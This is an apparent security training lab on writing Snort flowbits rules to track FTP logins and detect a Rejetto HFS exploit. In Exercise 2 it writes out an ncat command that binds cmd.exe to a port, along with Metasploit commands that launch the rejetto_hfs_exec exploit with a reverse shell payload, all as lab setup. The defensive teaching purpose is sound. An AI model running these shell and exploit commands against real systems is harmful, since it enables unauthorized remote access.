Penetration testing

Snort Tracking Exploit Progress with Flowbits

Lab 4: Tracking Exploit Progress with Flowbits

So far in our exercises, we used individual rules against specific activities. The flowbits keyword allows several rules to work as a group, tracking a progress of a transport protocol session. There are various ways flowbits can be used. We are going to look at one of them: tracking exploit progress.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Exercise 1: Basic Flowbits Usage

First, let's do a simple exercise to illustrate how flowbits works. Let's say that the FTP server that we have installed on our Windows Server 2012 R2 is only supposed to be used for uploading files from remote hosts, and no files should be downloaded by any hosts other than our Ubuntu Server. So, logging onto the FTP server would not be suspicious, but still want to be able to track the entire session, in case unauthorized download would occur.

As always, let's start by simulating such scenario, and gathering information for writing our rules.

There are no files on the FTP server yet, so go to your Windows Server 2012 R2 VM, browse to C:Tempftp and create a new Text Document (right-click and select New->Text Document). Name the document testfile.txt.

While we're here, let's modify some FTP server configurations as well. In the bottom right corner, find the FileZilla notification icon, right-click it and select Restore.

Select the user accounts dialog icon from the menu on top.

When the dialog opens, select Shared folders from the left pane, click the C:Tempftp in the middle pane, and check the Write box under Files. Your configuration should look like the image below.

Click OK.

Now go to your Kali Linux VM, open a terminal shell and connect to the FTP server on Windows Server 2012 R2.

ftp 192.168.x.x

This time we need to be able to log in, so when prompted, enter Name infosec and Password password$$$. When at the ftp> prompt, enter put hashes.txt. Then enter get testfile.txt. Examine the output, paying close attention to differences between messages received from the server when uploading vs. downloading a file.

Do you think we have enough information to write our rules? Open the local.rules file as root.

sudo gedit /etc/snort/rules/local.rules

First, we need to write a rule that will detect a successful FTP connection. Add the following rule on a new line (using your Windows Server 2012 R2 IP as the source IP address):

alert tcp 192.168.x.x 21 -> any any (msg: "Successful FTP Login"; content:"Logged on"; flowbits:set,logged_in; flowbits:noalert; sid:1000012; rev:1;)

Everything before the "flowbits" keyword should be easy to understand at this point: we are telling Snort to look for outgoing packets from the FTP server containing "Logged on." Then it gets more interesting. The first flowbits keyword sets the flowbit "logged_in". This will be used by another rule. The second flowbits keyword suppresses the alert, so we shouldn't see any alerts when someone logs on to our FTP server.

Now Snort is tracking successful FTP login sessions. To get an alert whenever someone has downloaded a file from it, we will use the following rule (x.x is the Windows Server 2012 R2 IP, y.y is the Ubuntu Server IP):

alert tcp 192.168.x.x 21 -> !192.168.y.y any (msg:"Unauthorized File Download"; content:"download from"; flowbits:isset,logged_in; sid:1000013; rev:1;)

In this rule, Snort is looking for an alert generated by our first flowbits rule, or, more specifically, it verifies that the "logged_in" state is set, and if it is, generates an alert if the rest of the conditions are met (in our case, if the "download from" content is found in a packet.

Let's see if it works. First, comment out your "FTP Connection Attempt" rule (if you haven't already), it should be the sid:1000002. Save the rules file and start Snort in IDS mode.

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Now go to your Kali Linux VM, log on to the FTP server on Windows Server 2012 R2, and download the testfile.txt file from it.

ftp 192.168.x.x

infosec

password$$$

get testfile.txt

Now check your Snort output. You will see alerts generated by our second flowbits rule.

Now, if you comment out the first flowbits rule and repeat the steps above, you won't get any alerts. This is because the second rule won't see the "logged_in" state anywhere.

Exercise 2: Exploit Detection

We just saw an example of effective flowbits implementation for detecting unauthorized activity. We created two new rules to make it work. In this exercise, we will see how flowbits can be useful for detection of the actual remote exploit, and we will make it work with one of the rules we created earlier.

Remember the rule we've already used a couple of times, the one that detects command shell access? What if this directory is being accessed by legitimate users, including remote access? We don't want to see any alerts generated for every authorized access. But how can we identify if this directory is accessed by a regular user or as a result of an exploit? Flowbits can help with that.

First, let's simulate both scenarios: 1) protected directory is accessed remotely by a regular user, and 2) protected directory is accessed as a result of the Rejetto HFS exploit executed with Metasploit. We need to look at the traffic for both cases, so start Wireshark on your Ubuntu Server VM (enter sudo wireshark in a terminal shell) and begin capturing traffic (select eth0 from Interface List and click Start).

For the first scenario, we will use our ncat.exe program that we uploaded to the Windows Server 2012 R2 VM earlier. Go to your Windows Server 2012 R2, open a command prompt, and enter the following commands to change to the ncat directory and start the listener:

cd

ncat –l –p 999 –k –e cmd.exe

Now go to your Kali Linux VM, connect to ncat (using your Windows Server 2012 R2 IP) and change to our protected directory.

ncat 192.168.x.x 999

cd c:usersadministratordesktophfs2.3b

Hit Ctrl+C to exit out of the shell. Now go back to Ubuntu Server and stop the Wireshark capture (click the red Stop button).

Go back to Kali Linux, start Metasploit (enter msfconsole) and perform the rejetto exploit as we did in Lab 1:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (Kali Linux VM IP address)

set RHOST 192.168.y.y (Windows Server 2012 R2 VM IP address)

set RPORT 8081

exploit

Once you got the command shell, hit Ctrl+C and enter y to close it. Don't exit out of the exploit prompt! Examine the output produced by Metasploit during the exploit execution. See anything that could be useful to us? Possibly. Note the line that says "Deleted %TEMP% …" It means that the exploit accesses the %TEMP% folder within our directory.

It's unlikely that it also happens when a regular user accesses this directory. Let's verify that. Go back to your Wireshark capture on Ubuntu Server VM. First, filter the results only to show packets to/from our Kali Linux:

ip.addr==192.168.x.x

Then go to Edit->Find Packet and search for the string "%TEMP%" in the packet bytes.

No matching packets will be found. I think we are ready to write our rules! First, we will create a rule that will generate an alert whenever Snort sees "TEMP" in the packet data and set a flowbits state:

alert tcp any any -> any any (msg:"Rejetto HFS Exploit Attempt"; content:"%TEMP%"; flowbits:set,payload; sid:1000014; rev:1;)

Now, let's add the flowbits keyword to our "Command Shell Access" rule (should be the rule sid:1000004), so it will only trigger an alert if the "payload" state is set:

alert tcp $HOME_NET any -> any any (msg:"Command Shell Access"; content:"C:UsersAdministratorDesktophfs2.3b"; nocase; flowbits:isset,payload; sid:1000004; rev:1;)

Save the rules file. Start Snort in IDS mode. Go to your Kali Linux VM. First, let's test regular remote access. Open a new terminal shell, connect to the ncat listener (it should still be running on Windows Server 2012 R2) and change to our protected directory:

ncat 192.168.x.x 999

cd c:usersadministratordesktophfs2.3b

Hit Ctrl+C to exit and check your Snort output. There should be no alerts. Now go back to Kali Linux, and enter exploit into the Metasploit shell that you should still have open. Check your Snort output now. You will see alerts for both of our flowbits rules.

Hit Ctrl+C to stop Snort, and then, on Kali Linux, hit Ctrl+C and enter y to close the shell. You may leave the exploit loaded for now; we will use it again in the next lab.

Obviously, on a real network, these rules will have to be tuned, but you get the idea of how flowbits keyword works for a more targeted intrusion detection approach. In the next lab, we will take a look at another targeted technique that responds to suspicious activity in addition to generating alerts: session sniping.

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

Download Now